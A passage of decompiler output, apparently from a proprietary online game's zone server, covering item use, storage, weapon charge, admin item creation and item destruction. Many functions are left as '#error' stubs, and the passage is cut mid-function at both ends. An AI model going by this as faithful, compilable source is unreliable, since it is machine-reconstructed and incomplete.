*(_WORD *)(v6 + 13) = v15; *(_DWORD *)(v6 + 15) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *(_WORD *)(v6 + 19) = *((_WORD *)v4 + 2); *(_DWORD *)(v6 + 21) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *(_DWORD *)(v6 + 25) = *(_DWORD *)v14; *(_DWORD *)(v6 + 29) = *((_DWORD *)v14 + 1); *(_WORD *)(v6 + 33) = v15; *(_WORD *)(v6 + 37) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4) + 4); if ( nCharIDChangeItemLot > 1 ) { v29 = (ItemAttributeClass *)iac_charge; v6[39] = 0; *(_WORD *)(v6 + 35) = 38; v27 = (char *)(ItemTotalInformation::iti_fill2buffer_atrib(&iti, v29, v15, v6 + 40) - (v6 + 40)); v30 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, void *, ItemTotalInformation *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v30 + 48))( v30, *(_WORD *)(v6 + 37), v14, &iti, &chargeiteminven, &chargeiteminven); } else { v27 = 0; v6[39] = 1; *(_WORD *)(v6 + 35) = 0; v28 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, void *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v28 + 40))( v28, *(_WORD *)(v6 + 37), v14, &chargeiteminven, &chargeiteminven); } v31 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, signed int, _DWORD))(*(_DWORD *)v31 + 36))( v31, *(_WORD *)(v6 + 37), 9, *(_BYTE *)(netcmd + 2)); v32 = ProtocolPacket::pp_SetPacketLen(&gpp, (int)(v27 + 40)); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v32, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long", (int)(v27 + 40)) ) { v33 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v33); } v34 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); ++*(_WORD *)(v34 + 4); goto LABEL_53; } goto LABEL_21; } *((_WORD *)v6 + 1) = 8373; } else { *((_WORD *)v6 + 1) = 8371; } v20 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v20, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long", 6) ) { v21 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v21 + 12))(v21, v4, &gpp); } goto LABEL_53; } *((_WORD *)v6 + 1) = 8372; LABEL_14: v8 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v8, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long", 6) ) { v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v4, &gpp); } v47 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_58: __security_check_cookie(v46); } //----- (004D4DE0) -------------------------------------------------------- #error "4D4DE0: undefined or illegal type '#331' (funcsize=53)" //----- (004D4EC0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck(int pAck) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck"); } //----- (004D4F10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck(void *this, int pAck) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@2 int v5; // eax@3 int v6; // ST04_4@4 DebugLogging *v7; // eax@4 DebugLogging *v8; // eax@4 char *v9; // eax@5 int v10; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; if ( *(_WORD *)(pAck + 6) == 8368 ) { v5 = (*(int (__thiscall **)(void *))(v3 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v5 + 24))( v5, v2, *(_WORD *)(pAck + 8), 0) ) { v6 = *(_WORD *)(pAck + 8); v7 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck : "); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); } } else { v4 = (*(int (__thiscall **)(void *))(v3 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 32))(v4, *(_WORD *)(pAck + 8)); } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -19437; *((_WORD *)v9 + 1) = *(_WORD *)(pAck + 6); *((_WORD *)v9 + 2) = *(_WORD *)(pAck + 10); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck"); } //----- (004D5060) -------------------------------------------------------- ItemAttributeClass *__thiscall ItemSmallBag::isb_Store(ItemSmallBag *this, int slot, ItemTotalInformation *iti) { ItemSmallBag *v3; // esi@1 ItemInform_ActionItem *v4; // eax@1 ItemInform_ActionItem *v5; // esi@1 unsigned __int16 v6; // ax@2 ItemAttributeClass *v7; // eax@2 ItemAttributeClass *v8; // edi@2 ItemAttributeClass *result; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemSmallBag::isb_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemSmallBag::isb_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (ItemInform_ActionItem *)v3->vfptr->isb_GetInventoryCell(v3, slot); v5 = v4; if ( v4 ) { ItemInform_ActionItem::sii_Import(v4, iti); v6 = ItemInventoryCell::iic_ItemIdent(v5); v7 = ItemAttributeClassContainer::operator__(&itmattcontainer, v6); v8 = v7; *(_DWORD *)&v5[1].iiai_RegistNumber.binary.gap0[2] = v7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemSmallBag::isb_Store"); result = v8; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemSmallBag::isb_Store"); result = 0; } return result; } //----- (004D5160) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease(void *this, char send, int pAttackRule) { void *v3; // edi@1 int v4; // esi@5 int v5; // eax@5 int v6; // esi@5 unsigned int v7; // eax@6 __int16 v8; // bx@12 int v9; // eax@12 int v10; // ebp@12 char *v11; // esi@17 int v12; // eax@17 int v13; // edi@17 char v14; // al@17 ZoneBaseSession *v15; // eax@18 char *v16; // [sp-4h] [bp-20h]@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( costumweapondecreaser && pAttackRule && (unsigned __int8)(*(int (**)(void))(*(_DWORD *)pAttackRule + 32))() ) { costumweapondecreaser = 0; v4 = *((_DWORD *)v3 + 23068); v5 = *(_DWORD *)(v4 + 10); v6 = v4 + 10; if ( v5 ) { v7 = v5 - 1; *(_DWORD *)v6 = v7; if ( send || !(v7 % 0xA) ) ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient(v3); if ( !(*(_DWORD *)v6 % 0xAu) ) ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB(v3); if ( !*(_DWORD *)v6 ) { v8 = 13; v9 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8050))( (char *)v3 + 32200, 13); v10 = v9; if ( !v9 || *(_WORD *)(v9 + 8) == -1 ) { v8 = 11; v10 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8050))( (char *)v3 + 32200, 11); } if ( v10 ) { if ( *(_WORD *)(v10 + 8) != -1 ) { ShineObjectClass::ShinePlayer::sp_NoticeItemBreak(v3, 8, v8); ShineObjectClass::ShinePlayer::sp_ItemDelete(v3, v10, 8, v8, 0); v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1554; *(_DWORD *)(v11 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *(_DWORD *)(v11 + 6) = *(_DWORD *)v10; *(_DWORD *)(v11 + 10) = *(_DWORD *)(v10 + 4); v12 = *(_DWORD *)((char *)v3 + 98); *(_DWORD *)(v11 + 14) = *(_DWORD *)v12; *(_DWORD *)(v11 + 18) = *(_DWORD *)(v12 + 4); *(_DWORD *)(v11 + 22) = *(_DWORD *)(v12 + 8); v13 = *(_DWORD *)((char *)v3 + 78); *(_DWORD *)(v11 + 26) = *(_DWORD *)v13; *(_DWORD *)(v11 + 30) = *(_DWORD *)(v13 + 4); v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 34); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease : Packet Too Long", 34) ) { v15 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v15); } } } } } v16 = "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease"; } else { v16 = "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v16); } // 1246AA68: using guessed type unsigned __int8 costumweapondecreaser; //----- (004D5350) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreItem(void *this, int inv, int iti, int exchange) { void *v4; // ebx@1 ItemAttributeClass *v5; // eax@3 char *v6; // esi@4 unsigned __int16 v7; // cx@4 char *v8; // eax@5 int v9; // esi@7 int v10; // eax@9 char *v11; // [sp-4h] [bp-24h]@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_StoreItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_StoreItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(_WORD *)inv & 0xFC00) == 15360 ) { v5 = ItemSmallBag::isb_Store( (ItemSmallBag *)v4 + 14231, *(_WORD *)inv & 0x3FF, (ItemTotalInformation *)iti); if ( v5 ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12289; *((_WORD *)v6 + 2) = *(_WORD *)inv; *((_WORD *)v6 + 1) = *(_WORD *)exchange; v7 = *(_WORD *)(iti + 8); *((_WORD *)v6 + 3) = v7; if ( v7 == -1 ) v8 = v6 + 8; else v8 = ItemTotalInformation::iti_fill2buffer_atrib((ItemTotalInformation *)iti, v5, v7, v6 + 8); v9 = v8 - v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v9) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StoreItem : Packet Too Long", v9); } } v11 = "ShineObjectClass::ShinePlayer::so_ply_StoreItem"; } else { v11 = "ShineObjectClass::ShinePlayer::so_ply_StoreItem"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); } //----- (004D54A0) -------------------------------------------------------- #error "4D54A0: undefined or illegal type '#440' (funcsize=287)" //----- (004D5880) -------------------------------------------------------- #error "4D5880: undefined or illegal type '#440' (funcsize=178)" //----- (004D5AD0) -------------------------------------------------------- #error "4D5AD0: undefined or illegal type '#440' (funcsize=241)" //----- (004D5E30) -------------------------------------------------------- #error "4D5E30: undefined or illegal type '#440' (funcsize=134)" //----- (004D6000) -------------------------------------------------------- #error "4D6000: undefined or illegal type '#440' (funcsize=460)" //----- (004D65F0) -------------------------------------------------------- #error "4D65F0: undefined or illegal type '#331' (funcsize=80)" //----- (004D6710) -------------------------------------------------------- #error "4D6710: undefined or illegal type '#331' (funcsize=80)" //----- (004D6830) -------------------------------------------------------- #error "4D6830: undefined or illegal type '#331' (funcsize=68)" //----- (004D6920) -------------------------------------------------------- #error "4D6920: undefined or illegal type '#331' (funcsize=104)" //----- (004D6A90) -------------------------------------------------------- #error "4D6A90: undefined or illegal type '#331' (funcsize=104)" //----- (004D6C00) -------------------------------------------------------- #error "4D6C00: undefined or illegal type '#440' (funcsize=308)" //----- (004D6FB0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_NC_ITEMDB_ADMINCREATEFAIL_ACK(int itemcreatefail) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_NC_ITEMDB_ADMINCREATEFAIL_ACK", 0); } //----- (004D6FD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin(void *this, int box, int slot, int iti, int iic) { void *v5; // edi@1 int v6; // ebx@1 char v7; // al@1 char *v8; // esi@5 int v9; // eax@5 int v10; // eax@5 unsigned __int16 v11; // ST0C_2@5 ItemAttributeClass *v12; // eax@5 int v13; // esi@5 ZoneBaseSession *v14; // eax@7 int v15; // eax@8 int v16; // eax@9 char *v17; // [sp+10h] [bp-24h]@4 int itia; // [sp+40h] [bp+Ch]@5 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = iti; ShineObjectClass::ShinePlayer::sp_MagicContainerMake(v5, iti, 0); if ( v7 ) goto LABEL_4; if ( !*(_DWORD *)((char *)v5 + 98) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::ShineInvenSearch::sp_CreateItemByAdmin : Invalid so_Field", 0); LABEL_4: v17 = "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"; goto LABEL_11; } v8 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = *((_WORD *)v5 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); *(_WORD *)v8 = 13313; *((_WORD *)v8 + 4) = *((_WORD *)v5 + 28886); *(_DWORD *)(v8 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); v9 = *(_DWORD *)((char *)v5 + 98); *(_DWORD *)(v8 + 14) = *(_DWORD *)v9; *(_DWORD *)(v8 + 18) = *(_DWORD *)(v9 + 4); *(_DWORD *)(v8 + 22) = *(_DWORD *)(v9 + 8); v10 = *(_DWORD *)((char *)v5 + 78); *(_DWORD *)(v8 + 26) = *(_DWORD *)v10; *(_DWORD *)(v8 + 30) = *(_DWORD *)(v10 + 4); *((_WORD *)v8 + 17) = ((_WORD)box << 10) | slot & 0x3FF; itia = (int)(v8 + 34); *((_WORD *)v8 + 22) = *(_WORD *)(v6 + 8); *((_DWORD *)v8 + 9) = *(_DWORD *)v6; *((_DWORD *)v8 + 10) = *(_DWORD *)(v6 + 4); *((_WORD *)v8 + 23) = 46; v11 = *(_WORD *)(v6 + 8); v12 = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(v6 + 8)); v13 = ItemTotalInformation::iti_fill2buffer_atrib((ItemTotalInformation *)v6, v12, v11, v8 + 48) - (v8 + 48) + 48; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v13) ) { v14 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v14); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin : Packet Too Long", v13); } v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1916))(v5); LOWORD(v15) = *(_WORD *)(v15 + 4); (*(void (__thiscall **)(char *, int, int, int, int, int))(*((_DWORD *)v5 + 14442) + 48))( (char *)v5 + 57768, v15, iic, v6, itia, itia); if ( box == 8 ) { v16 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1916))(v5); (*(void (__thiscall **)(char *, _DWORD, int, int, signed int, _DWORD))(*((_DWORD *)v5 + 14442) + 64))( (char *)v5 + 57768, *(_WORD *)(v16 + 4), slot, iic, -1, 0); } ++*((_WORD *)v5 + 28886); v17 = "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"; LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v17); } //----- (004D71E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK(void *this, int itemcreatefail) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK"); } //----- (004D7290) -------------------------------------------------------- #error "4D7290: undefined or illegal type '#331' (funcsize=74)" //----- (004D73A0) -------------------------------------------------------- #error "4D73A0: undefined or illegal type '#331' (funcsize=65)" //----- (004D7490) -------------------------------------------------------- #error "4D7490: undefined or illegal type '#331' (funcsize=119)" //----- (004D7630) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(void *this, int Handle, __int16 ItemID, __int16 inv, int InvenType) { void *v5; // edi@1 int v6; // edx@1 int v7; // eax@1 __int16 v8; // si@1 int v9; // eax@2 char result; // al@2 int *uii; // [sp+8h] [bp-2Ch]@1 int v12; // [sp+Ch] [bp-28h]@1 int v13; // [sp+10h] [bp-24h]@1 int itemitertmp; // [sp+14h] [bp-20h]@1 int v15; // [sp+18h] [bp-1Ch]@1 int v16; // [sp+20h] [bp-14h]@1 int v17; // [sp+24h] [bp-10h]@1 int v18; // [sp+30h] [bp-4h]@1 v5 = this; itemitertmp = (int)ItemBoxIterator::_vftable_; v15 = inv; v16 = (*(int (**)(void))(*(_DWORD *)inv + 8))(); itemitertmp = (int)&ItemBoxIterIdent::_vftable_; LOWORD(v17) = ItemID; v6 = *(_DWORD *)v5; v18 = 0; v7 = (*(int (__thiscall **)(void *))(v6 + 1916))(v5); v8 = InvenType; uii = &itemitertmp; v12 = v7; v13 = InvenType; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { v9 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); ItemID = (((v8 << 10) | ItemID & 0x3FF) ^ *((_WORD *)uii + 4)) & 0x3FF ^ ((v8 << 10) | ItemID & 0x3FF); result = ShineObjectClass::ShinePlayer::sp_DestroyItem(v5, Handle, v9, &ItemID); } else { result = 0; } return result; } // 4D7490: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6AC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (004D7720) -------------------------------------------------------- #error "4D7720: undefined or illegal type '#331' (funcsize=289)" //----- (004D7B40) -------------------------------------------------------- #error "4D7B40: undefined or illegal type '#331' (funcsize=86)" //----- (004D7C70) -------------------------------------------------------- #error "4D7C70: undefined or illegal type '#331' (funcsize=58)" //----- (004D7D50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_GetItemInvenLot(void *this, __int16 itemid) { void *v2; // esi@1 int v3; // edi@1 int v4; // ecx@1 int v5; // eax@2 int result; // eax@6 int v7; // eax@7 int ibii; // [sp+Ch] [bp-20h]@1 char *v9; // [sp+10h] [bp-1Ch]@1 int v10; // [sp+14h] [bp-18h]@4 int v11; // [sp+18h] [bp-14h]@4 __int16 v12; // [sp+1Ch] [bp-10h]@4 int v13; // [sp+28h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GetItemInvenLot"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GetItemInvenLot"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v4 = (int)((char *)v2 + 35568); v13 = 0; ibii = (int)ItemBoxIterator::_vftable_; v9 = (char *)v2 + 35568; if ( v2 == (void *)-91688 ) v5 = (*(int (**)(void))(*(_DWORD *)v4 + 8))(); else v5 = (*(int (__stdcall **)(char *))(*(_DWORD *)v4 + 4))((char *)v2 + 91688); v11 = v5; ibii = (int)&ItemBoxIterIdent::_vftable_; v12 = itemid; LOBYTE(v13) = 1; v10 = 0; if ( (unsigned __int8)ItemBoxIterIdent::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v7 = (**(int (__stdcall ***)(_DWORD))v9)(v10); if ( !v7 ) break; v3 += (*(int (__stdcall **)(int))(**(_DWORD **)(v7 + 112) + 24))(v7 + 8); } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); --funcallanalizer.fca_stackpoint; ibii = (int)ItemBoxIterator::_vftable_; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GetItemInvenLot"); result = v3; } else { --funcallanalizer.fca_stackpoint; ibii = (int)ItemBoxIterator::_vftable_; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GetItemInvenLot"); result = 0; } return result; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6AC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (004D7EC0) -------------------------------------------------------- #error "4D7EC0: undefined or illegal type '#331' (funcsize=107)" //----- (004D8040) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MakeItem(void *this, __int16 handle, int iti) { void *v3; // esi@1 int v4; // ecx@1 int v5; // eax@2 int v6; // edx@4 int v7; // eax@4 int v8; // edi@6 int v9; // eax@6 char *v10; // [sp-4h] [bp-38h]@5 int *itemiter; // [sp+Ch] [bp-28h]@4 int v12; // [sp+10h] [bp-24h]@4 int v13; // [sp+14h] [bp-20h]@4 int itemitertmp; // [sp+18h] [bp-1Ch]@1 char *v15; // [sp+1Ch] [bp-18h]@1 int v16; // [sp+24h] [bp-10h]@4 int v17; // [sp+30h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MakeItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (int)((char *)v3 + 35568); v17 = 0; itemitertmp = (int)ItemBoxIterator::_vftable_; v15 = (char *)v3 + 35568; if ( v3 == (void *)-91688 ) v5 = (*(int (**)(void))(*(_DWORD *)v4 + 8))(); else v5 = (*(int (__stdcall **)(char *))(*(_DWORD *)v4 + 4))((char *)v3 + 91688); v16 = v5; itemitertmp = (int)&ItemBoxIterEmpty::_vftable_; v6 = *(_DWORD *)v3; LOBYTE(v17) = 1; v7 = (*(int (__thiscall **)(void *))(v6 + 1916))(v3); itemiter = &itemitertmp; v12 = v7; v13 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&itemiter) ) { v8 = itemiter[2]; v9 = (**(int (__stdcall ***)(_DWORD))itemiter[1])(itemiter[2]); ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin(v3, 9, v8, iti, v9); v10 = "ShineObjectClass::ShinePlayer::sp_MakeItem"; } else { v10 = "ShineObjectClass::ShinePlayer::sp_MakeItem"; } --funcallanalizer.fca_stackpoint; itemitertmp = (int)ItemBoxIterator::_vftable_; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A8: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); //----- (004D8160) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MakeItem(void *this, __int16 handle, int method, unsigned __int16 itm, unsigned int lot) { void *v5; // ebx@1 int v6; // ST08_4@1 CServerInfo::MY_SERVER *v7; // eax@1 ItemAttributeClass *v8; // edi@4 char iti; // [sp+14h] [bp-80h]@1 unsigned __int16 v10; // [sp+1Ch] [bp-78h]@1 unsigned int v11; // [sp+84h] [bp-10h]@5 int v12; // [sp+90h] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeItem 2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MakeItem 2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v6 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v7 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&iti, method, v7->nZoneNo, v6); v10 = itm; if ( ItemDataBox::operator__(&itemdatabox, itm) && ItemDataBox::operator__(&itemdatabox, itm)->data ) { v8 = ItemAttributeClassContainer::operator__(&itmattcontainer, itm); v8->vfptr->iac_itemcreate( v8, itm, (ItemTotalInformation *)&iti, (char *)&stru_598DE4.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); v8->vfptr->iac_SetLot(v8, (SHINE_ITEM_STRUCT *)&v10, lot); ShineObjectClass::ShinePlayer::sp_MakeItem(v5, handle, (int)&iti); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeItem 2"); } else { --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeItem 2"); } __security_check_cookie(v11); } //----- (004D82D0) -------------------------------------------------------- #error "4D82D0: undefined or illegal type '#440' (funcsize=66)" //----- (004D83D0) -------------------------------------------------------- void __cdecl ItemDismantleProducer::_ItemDismantleProducer() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDismantleProducer::~ItemDismantleProducer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = 